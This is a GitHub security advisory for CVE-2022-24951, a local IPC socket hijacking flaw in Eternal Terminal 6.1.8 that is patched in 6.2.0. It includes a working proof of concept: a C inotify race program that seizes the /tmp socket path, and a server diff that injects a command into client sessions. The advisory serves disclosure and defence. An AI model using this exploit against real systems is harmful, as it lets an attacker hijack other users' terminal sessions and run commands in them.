Eternal Terminal Local IPC Socket Hijacking

High vladionescu published GHSA-546v-59j5-g95q on Jul 20

Package

Eternal Terminal (C++)

Affected versions	Patched versions
6.1.8	6.2.0

Description

Vulnerability Description:

If an authenticated attacker can crash an Eternal Terminal service running as a systemd service, they can then utilize a race condition to take over the local IPC socket. Control of this socket file location allows the attacker to impersonate an ET server, and causes the systemd service to terminate startup prematurely. When clients attempt to connect an attacker can present a 'fake' ET server which can then inject arbitrary commands into ET client sessions.

The issue is due to the local IPC socket, `etserver.idpasskey.fifo` being placed in a world-writeable directory (`/tmp`). When the service starts the function `pipeSocketHandler::listen()` is used to spin up the local IPC socket. This function has a race condition, where an attacker can create a file in between `unlink()` and `bind()` calls, causing the program to fail out and allowing the attacker to control the file at the specified path.

This socket is used to route traffic which is received over the ET protocol and is considered a source of truth for connecting ET clients. As such an attacker running a fake ET server can inject arbitrary commands into the session.

Proof of Concept:

On the target machine install Eternal Terminal as a systemd service. After starting the service, run the C program below. Restart or DoS service. Repeat until a directory is created at the location `/tmp/etserver.idpasskey.fifo` , indicating the attacker has gained control of the path.

Afterwards can run a malicious etserver process modified with the diff listed below. The diff simply intercepts user traffic and substitutes it with a buffer which causes the client process to create a file `/tmp/hacked.txt` . A properly designed malicious etserver process could silently inject commands into a users session without them being aware.

```
#include <sys/inotify.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>

#define EVENT_SIZE  ( sizeof (struct inotify_event) ) /*size of one event*/
#define MAX_EVENTS 4096/* Maximum number of events to process*/
#define LEN_NAME 4  /* Assuming that the length of the filename */
#define BUF_LEN     ( MAX_EVENTS * ( EVENT_SIZE + LEN_NAME ))

int fd,wd;
void sig_handler(int sig){
       inotify_rm_watch( fd, wd );
       close( fd );
       exit( 0 );
}

int main(int argc, char *argv[])
{
        char *path = "/tmp";
        signal(SIGINT,sig_handler);

        fd = inotify_init();

        if (fcntl(fd, F_SETFL, O_NONBLOCK) < 0)
        exit(2);

        wd = inotify_add_watch(fd,path,IN_DELETE | IN_CREATE );
        if(wd==-1){
            printf("Could not watch\n");
        }
        else {
            printf("Watching...\n");
        }

        while(1) {
            int i=0, length;
            char buffer[BUF_LEN];

            length = read(fd,buffer,BUF_LEN);
```

```
            while(i<length){
                struct inotify_event *event = (struct inotify_event *) &buffer[i];

                    if(event->len){
                        if (strcmp(event-> name,"etserver.idpasskey.fifo") == 0) {
                            if ( event->mask & IN_DELETE ) {
                                mkdir("/tmp/etserver.idpasskey.fifo", 0700);
                                printf( "The file %s was deleted.\n", event->name );

                            }
                            else if ( event->mask & IN_CREATE ) {
                            if ( event->mask & IN_ISDIR ) {
                                printf( "The directory %s was created.\n", event->name );
                                exit(1);
                            }
                            else {
                             printf( "The file %s was created.\n", event->name );
                            }
                            }
                         }
                         i += EVENT_SIZE + event->len;
                    }
            }
}
}
```

```
diff --git a/src/terminal/TerminalServer.cpp b/src/terminal/TerminalServer.cpp
index 82a543ed..3499e549 100644
--- a/src/terminal/TerminalServer.cpp
+++ b/src/terminal/TerminalServer.cpp
@@ -322,7 +322,14 @@ void TerminalServer::runTerminal(
               char c = TERMINAL_BUFFER;
               terminalSocketHandler->writeAllOrThrow(terminalFd, &c,
                                                      sizeof(char), false);
-              terminalSocketHandler->writeProto(terminalFd, tb, false);
+
+              // Create fake TerminalBuffer protobuf message
+              const string &buffer = "touch /tmp/hacked.txt\n";
+              et::TerminalBuffer faketb;
+              faketb.set_buffer(buffer);
+
+              //terminalSocketHandler->writeProto(terminalFd, tb, false);
+              terminalSocketHandler->writeProto(terminalFd, faketb, false);
               break;
             }
             case et::TerminalPacketType::KEEP_ALIVE: {
```

Timeline:

10/29/21: Vulnerabilities were disclosed to author of ET
11/3/21: Partial fixes for the most serious issues to ET were released (but not this particular issue)
1/27/22: 90 day deadline for public disclosure reached
4/21/22: Proof of Concept updated with command injection

Severity

High

CVE ID

CVE-2022-24951

Weaknesses

No CWEs

Credits

adi-ajit